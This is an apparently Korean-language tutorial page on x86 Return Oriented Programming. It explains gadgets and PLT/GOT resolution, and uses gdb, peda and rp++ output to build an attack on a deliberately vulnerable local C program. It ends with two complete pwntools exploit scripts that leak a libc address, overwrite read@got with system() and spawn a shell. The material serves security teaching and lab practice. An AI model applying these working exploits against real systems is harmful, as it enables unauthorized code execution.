01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example code Build Overflow Exploit method Finding a writable memory space Find gadget peda rp++ Find plt, got address - read, write Find the address of the system() function Exploit code Related site Comments Return Oriented Programming(ROP) -x86 ROP( Return-oriented programming ) 는공격자가실행공간보호 (NXbit) 및코드서명 (Code signing) 과같은보안방어가있는상태에서코드를실행할수있게해주는기술입니다. RTL + Gadgets 이기법에서공격자는프로그램의흐름을변경하기위해 Stack Overflow 취약성이필요하고, " 가젯 (Gadgets)" 이라고하는해당프로그램이사용하는메모리에이미있는기계명령어가필요합니다. 각가젯은일반적으로반환명령어 (ret) 로끝이나며, 기존프로그램또는공유라이브러리코드내의서브루틴에있습니다. 가젯과취약성을사용하면공격자가임의의작업을수행할수있습니다. Gadgets - POP; POP; POP; RET ROP 는기본적으로 RTL 기법을이용하며, 공격자는 RTL 과 Gadgets 을이용해공격에필요한코드를프로그래밍하는것입니다. 01.RTL(Return to Libc) - x86 페이지에서 system() 함수만호출하였습니다. 하지만프로그램및운영체제, 등다양한상황에따라여러개의함수호출이필요할수있습니다. ret2libc structure Stack Address Value Explanation 0xffffd57c System function address of libc Function Return Address 0xffffd580 0xffffd584 The address to return to after calling the system function First argument value 여러개의함수를호출하기위해사용되는것이 Gadgets이며, 기본적으로다음과같은 Gadgets 이사용됩니다. 호출하는함수의인자가 3개일경우 : " pop; pop; pop; ret" 호출하는함수의인자가 2개일경우 : " pop; pop; ret" 호출하는함수의인자가 1개일경우 : " pop; ret" 호출하는함수의인자가없을경우 : "ret" 해당 Gadgets들의역할은 ESP 레지스터의값을증가시키는것입니다. RTL에의해호출되는함수에전달되는인자값이저장된영역을지나다음함수가호출될수있도록하는것입니다. x86 바이너리에서는 pop 명령어의피연산자값은중요하지않습니다.
다음과같은방법으로여러개의함수를연속해서실행할수있습니다. RTL에서호출할함수( 주소값이저장된 ) 의다음영역은해당함수가종료된후이동할 Return Address 영역입니다. 해당영역에 Gadgets의주소를저장함으로써연속해서다음함수가호출될수있습니다. 아래예제는 read() 함수호출후 System() 함수를호출하게됩니다. ROP structure Stack Address Value Explanation 0xffffd57c Read function address of libc Function Return Address 0xffffd580 0xffffd584 0xffffd588 0xffffd58C 0xffffd590 0xffffd594 0xffffd598 Address of gadgets(pop;pop;pop;ret) First argument value Second argument value Third argument value System function address of libc The address to return to after calling the system function First argument value PLT & GOT Debug 프로시저링키지테이블 (PLT, Procedure linkage table) 에는동적링커가공유라이브러리의함수를호출하기위한코드가저장되어있습니다. 해당정보들은 ".plt" 섹션에저장되어있습니다. 전역오프셋테이블 (GOT, Global offset table) 에는동적링커에의해공유라이브러리에서호출할함수의주소가저장됩니다. 이정보들은 ".got.plt" 섹션에저장됩니다. 이섹션은공격자들의공격대상이되며, 주로힙, ".bss" Exploit에의해포인터값을변조합니다. ROP에서는해당정보들을유용하게활용할수있습니다. 다음과같이 PLT & GOT 영역의내용및값의변경을확인할수있습니다. read() 함수가처음으로호출되기전에 Break point 를설정하였습니다. read 함수의 plt, got 영역의주소는다음과같습니다..plt : 0x8048300.got.plt : 0x804a00c read@plt 영역에는 libc 에서 read() 함수를호출하기위한코드가저장되어있습니다. read@plt 의코드는다음과같이동작합니다. read@got(0x804a00c) 영역에저장된주소로이동합니다. read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306) 영역의주소가저장되어있습니다. 이는해당프로그램에서 read() 함수가한번도호출되지않았기때문입니다. <read@plt+11> 의 "jmp 0x80482f0" 코드에의해 _dl_runtime_resolve() 함수를호출합니다. 해당함수는 libc 에서찾고자하는함수 ( 의주소를.got.plt 영역에저장합니다. read) read() 함수가호출된후 read@got(0x804a00c) 영역에는 libc 의 read() 함수주소가저장되어있습니다.
read() Breakpoint 1, 0x0804844f in vuln () x/i $eip => 0x804844f <vuln+20>: call 0x8048300 <read@plt> elfsymbol read Detail symbol info read@reloc = 0 read@plt = 0x8048300 read@got = 0x804a00c x/3i 0x8048300 0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c 0x8048306 <read@plt+6>: push 0x0 0x804830b <read@plt+11>: jmp 0x80482f0 x/wx 0x804a00c 0x804a00c: 0x08048306 x/3i 0x80482f0 0x80482f0: push DWORD PTR ds:0x804a004 0x80482f6: jmp DWORD PTR ds:0x804a008 0x80482fc: add BYTE PTR [eax],al x/wx 0x804a008 0x804a008: 0xb7ff0000 x/3i 0xb7ff0000 0xb7ff0000 <_dl_runtime_resolve>: push eax 0xb7ff0001 <_dl_runtime_resolve+1>: push ecx 0xb7ff0002 <_dl_runtime_resolve+2>: push edx ni AAAA 0x08048454 in vuln () x/wx 0x804a00c 0x804a00c: 0xb7edeb00 x/i 0xb7edeb00 0xb7edeb00 <read>: cmp DWORD PTR gs:0xc,0x0 p read $1 = {<text variable, no debug info>} 0xb7edeb00 <read> Proof of concept Example code rop.c #include <stdio.h> #include <unistd.h> void vuln(){ char buf[50]; read(0, buf, 256); } void main(){ write(1,"hello ROP\n",10); vuln(); } Build Build lazenca0x0@ubuntu:~/exploit/rop$ gcc -m32 -fno-stack-protector -o rop rop.c
Overflow 다음과같이 Breakpoints 를설정합니다. 0x0804843b : vuln 함수코드첫부분 0x0804844f : read() 함수호출전 Breakpoints lazenca0x0@ubuntu:~/exploit/rop$ gdb -q./rop Reading symbols from./rop...(no debugging symbols found)...done. disassemble vuln Dump of assembler code for function vuln: 0x0804843b <+0>: push ebp 0x0804843c <+1>: mov ebp,esp 0x0804843e <+3>: sub esp,0x48 0x08048441 <+6>: sub esp,0x4 0x08048444 <+9>: push 0x100 0x08048449 <+14>: lea eax,[ebp-0x3a] 0x0804844c <+17>: push eax 0x0804844d <+18>: push 0x0 0x0804844f <+20>: call 0x8048300 <read@plt> 0x08048454 <+25>: add esp,0x10 0x08048457 <+28>: nop 0x08048458 <+29>: leave 0x08048459 <+30>: ret End of assembler dump. b *0x0804843b Breakpoint 1 at 0x804843b b *0x0804844f Breakpoint 2 at 0x804844f 다음과같이 Overflow 를확인할수있습니다. Return address(0xffffd5dc) - buf 변수의시작주소 (0xffffd59e) = 62 즉, 62 개이상의문자를입력함으로써 Return address 영역을덮어쓸수있습니다. Check overflow r Starting program: /home/lazenca0x0/exploit/rop/rop Hello ROP Breakpoint 1, 0x0804843b in vuln () i r esp esp 0xffffd5dc 0xffffd5dc x/wx 0xffffd5dc 0xffffd5dc: 0x08048484 c Continuing. Breakpoint 2, 0x0804844f in vuln () i r esp esp 0xffffd580 0xffffd580 x/3wx 0xffffd580 0xffffd580: 0x00000000 0xffffd59e 0x00000100 p/d 0xffffd5dc - 0xffffd59e $1 = 62 Exploit method ROP 기법을이용한 Exploit 의순서는다음과같습니다.
Exploit 순서 1. 2. 3. 4. read 함수를이용해 "/bin/sh" 명령을쓰기가능한메모리영역에저장 write 함수를이용해 read 함수의.got 영역에저장된값을출력 read 함수를이용해 read 함수의.got 영역에 system 함수의주소로덮어씀 read 함수호출 - read.got 영역에 system 함수의주소가저장되어있기때문에 system 함수가호출됨 이를코드로표현하면다음과같습니다. ROP code read(0,writablearea,len(str(binsh))) write(1,read_got,len(str(read_got))) read(0,read_got,len(str(read_got))) system(writablearea) payload 를바탕으로공격을위해알아내어야할정보는다음과같습니다. 확인해야할정보목록 "/bin/sh" 명령을저장할수있는쓰기가능한메모리공간 read(), write() 함수의 plt, got system() 함수의주소 pop,pop,pop,ret 가젯의위치 Finding a writable memory space 다음과같이쓰기가능한영역을확인할수있습니다. 해당바이너리의 0x0804a000 ~ 0x0804b000 영역에쓰기권한이부여되어있습니다. Process memory map shell ps -ef grep rop lazenca+ 7903 3056 0 19:12 pts/4 00:00:00 gdb -q./rop lazenca+ 7905 7903 0 19:13 pts/4 00:00:00 /home/lazenca0x0/exploit/rop/rop lazenca+ 7912 7903 0 19:13 pts/4 00:00:00 bash -c ps -ef grep rop lazenca+ 7914 7912 0 19:13 pts/4 00:00:00 grep rop shell cat /proc/7905/maps 08048000-08049000 r-xp 00000000 08:01 1059676 /home/lazenca0x0/exploit/rop/rop 08049000-0804a000 r--p 00000000 08:01 1059676 /home/lazenca0x0/exploit/rop/rop 0804a000-0804b000 rw-p 00001000 08:01 1059676 /home/lazenca0x0/exploit/rop/rop f7e07000-f7e08000 rw-p 00000000 00:00 0 f7e08000-f7fb5000 r-xp 00000000 08:01 1179655 /lib32/libc-2.23.so f7fb5000-f7fb6000 ---p 001ad000 08:01 1179655 /lib32/libc-2.23.so f7fb6000-f7fb8000 r--p 001ad000 08:01 1179655 /lib32/libc-2.23.so f7fb8000-f7fb9000 rw-p 001af000 08:01 1179655 /lib32/libc-2.23.so f7fb9000-f7fbc000 rw-p 00000000 00:00 0 f7fd4000-f7fd5000 rw-p 00000000 00:00 0 f7fd5000-f7fd8000 r--p 00000000 00:00 0 [vvar] f7fd8000-f7fda000 r-xp 00000000 00:00 0 [vdso] f7fda000-f7ffc000 r-xp 00000000 08:01 1179653 /lib32/ld-2.23.so f7ffc000-f7ffd000 r--p 00022000 08:01 1179653 /lib32/ld-2.23.so f7ffd000-f7ffe000 rw-p 00023000 08:01 1179653 /lib32/ld-2.23.so fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] 앞에서확인한쓰기가능한영역에는다음과같은섹션이포함됩니다.
Writeable section Sections Name Memory address Size.got.plt 0x804a000 0x18.data 0x804a018 0x8.bss 0x804a020 0x4
Sections shell objdump -h ~/Exploit/ROP/rop /home/lazenca0x0/exploit/rop/rop: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0.interp 00000013 08048154 08048154 00000154 2**0 1.note.ABI-tag 00000020 08048168 08048168 00000168 2**2 2.note.gnu.build-id 00000024 08048188 08048188 00000188 2**2 3.gnu.hash 00000020 080481ac 080481ac 000001ac 2**2 4.dynsym 00000060 080481cc 080481cc 000001cc 2**2 5.dynstr 00000050 0804822c 0804822c 0000022c 2**0 6.gnu.version 0000000c 0804827c 0804827c 0000027c 2**1 7.gnu.version_r 00000020 08048288 08048288 00000288 2**2 8.rel.dyn 00000008 080482a8 080482a8 000002a8 2**2 9.rel.plt 00000018 080482b0 080482b0 000002b0 2**2 10.init 00000023 080482c8 080482c8 000002c8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11.plt 00000040 080482f0 080482f0 000002f0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12.plt.got 00000008 08048330 08048330 00000330 2**3 CONTENTS, ALLOC, LOAD, READONLY, CODE 13.text 000001b2 08048340 08048340 00000340 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 14.fini 00000014 080484f4 080484f4 000004f4 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 15.rodata 00000013 08048508 08048508 00000508 2**2 16.eh_frame_hdr 00000034 0804851c 0804851c 0000051c 2**2 17.eh_frame 000000ec 08048550 08048550 00000550 2**2 18.init_array 00000004 08049f08 08049f08 00000f08 2**2 19.fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2 20.jcr 00000004 08049f10 08049f10 00000f10 2**2 21.dynamic 000000e8 08049f14 08049f14 00000f14 2**2 22.got 00000004 08049ffc 08049ffc 00000ffc 2**2 23.got.plt 00000018 0804a000 0804a000 00001000 2**2 24.data 00000008 0804a018 0804a018 00001018 2**2 25.bss 00000004 0804a020 0804a020 00001020 2**0 ALLOC 26.comment 00000034 00000000 00000000 00001020 2**0 CONTENTS, READONLY Find gadget peda 다음과같이 peda 에서필요한 Gadgets 을찾을수있습니다.
Find gadgets - peda ropgadget ret = 0x80482d2 popret = 0x80482e9 pop2ret = 0x80484ea pop3ret = 0x80484e9 pop4ret = 0x80484e8 addesp_12 = 0x80482e6 addesp_16 = 0x80483a5 rp++ 다음과같이 rp++ 를이용해서도원하는 Gadgets 을찾을수있습니다. Find gadgets - rp++ lazenca0x0@ubuntu:~/exploit/rop$./rp-lin-x86 -f./rop -r 4 grep "pop" 0x080482e4: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x08048501: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080484fd: add ebx, 0x00001B03 ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080484ff: add ebx, dword [ebx] ; add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080482e6: add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x08048503: add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x080482e7: les ecx, [eax] ; pop ebx ; ret ; (1 found) 0x08048504: les ecx, [eax] ; pop ebx ; ret ; (1 found) 0x080484e6: les ecx, [ebx+ebx*2] ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080484e7: or al, 0x5B ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080484eb: pop ebp ; ret ; (1 found) 0x080484e8: pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x080482e9: pop ebx ; ret ; (1 found) 0x08048506: pop ebx ; ret ; (1 found) 0x080484ea: pop edi ; pop ebp ; ret ; (1 found) 0x080484e9: pop esi ; pop edi ; pop ebp ; ret ; (1 found) 0x0804848a: popad ; cld ; ret ; (1 found) lazenca0x0@ubuntu:~/exploit/rop$ rp++ https://github.com/0vercl0k/rp https://github.com/0vercl0k/rp/downloads Find plt, got address - read, write 다음과같이 peda 에서.plt,.got 영역을확인할수있습니다. Find plt, got address - read, write elfsymbol read Detail symbol info read@reloc = 0 read@plt = 0x8048300 read@got = 0x804a00c elfsymbol write Detail symbol info write@reloc = 0x10 write@plt = 0x8048320 write@got = 0x804a014
Find the address of the system() function 다음과같이 system 함수의 Address, offset 을확인할수있습니다. Address of the system() function p read $2 = {<text variable, no debug info>} 0xf7edc350 <read> p system $3 = {<text variable, no debug info>} 0xf7e42940 <system> p/x 0xf7edc350-0xf7e42940 $4 = 0x99a10 Exploit code
exploit-1.py from pwn import * from struct import * #context.log_level = 'debug' binsh = "/bin/sh" stdin = 0 stdout = 1 read_plt = 0x8048300 read_got = 0x804a00c write_plt = 0x8048320 write_got = 0x804a014 #32bit OS - /lib/i386-linux-gnu/libc-2.23.so read_system_offset = 0x9ad60 #64bit OS - /lib32/libc-2.23.so #read_system_offset = 0x99a10 writablearea = 0x0804a020 pppr = 0x80484e9 payload = "A"*62 #read(0,writablearea,len(str(binsh))) payload += p32(read_plt) payload += p32(pppr) payload += p32(stdin) payload += p32(writablearea) payload += p32(len(str(binsh))) #write(1,read_got,len(str(read_got))) payload += p32(write_plt) payload += p32(pppr) payload += p32(stdout) payload += p32(read_got) payload += p32(4) #read(0,read_got,len(str(read_got))) payload += p32(read_plt) payload += p32(pppr) payload += p32(stdin) payload += p32(read_got) payload += p32(len(str(read_got))) #system(writablearea) payload += p32(read_plt) payload += p32(0xaaaabbbb) payload += p32(writablearea) r = process('./rop') r.recvn(10) r.send(payload + '\n') r.send(binsh) read = u32(r.recvn(4,timeout=1)) system_addr = read - read_system_offset r.send(p32(system_addr)) r.interactive() 다음과같이 Pwntools 에서제공하는 ROP 기능을이용해조금더편하게 ROP 코드를작성할수있습니다.
exploit-2.py - Full pwntools from pwn import * from struct import * #context.log_level = 'debug' binsh = "/bin/sh" binary = ELF('./rop') #32bit OS libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") #64bit OS #libc = ELF("/lib32/libc-2.23.so") rop = ROP(binary) print binary.checksec() read_plt = binary.plt['read'] read_got = binary.got['read'] write_plt = binary.plt['write'] write_got = binary.got['write'] read_system_offset = libc.symbols['read'] - libc.symbols['system'] writablearea = 0x0804a050 #Address info log.info("read@plt : " + str(hex(read_plt))) log.info("read@got : " + str(hex(read_got))) log.info("write@plt : " + str(hex(write_plt))) log.info("write@got : " + str(hex(write_got))) log.info("read system offset : " + str(hex(read_system_offset))) log.info("writeable area : " + str(writablearea)) #ROP Code rop.read(0,writablearea,len(str(binsh))) rop.write(1,read_got,4) rop.read(0,read_got,len(str(read_got))) rop.raw(read_plt) rop.raw(0xaaaabbbb) rop.raw(writablearea) payload = "A"*62 + str(rop) #Run r = process("./rop") r.recvn(10) r.send(payload + '\n') r.send(binsh) read = u32(r.recvn(4)) system_addr = read - read_system_offset rop = ROP(binary) rop.raw(system_addr) r.send(str(rop)) r.interactive() Related site https://en.wikipedia.org/wiki/static_program_analysis Comments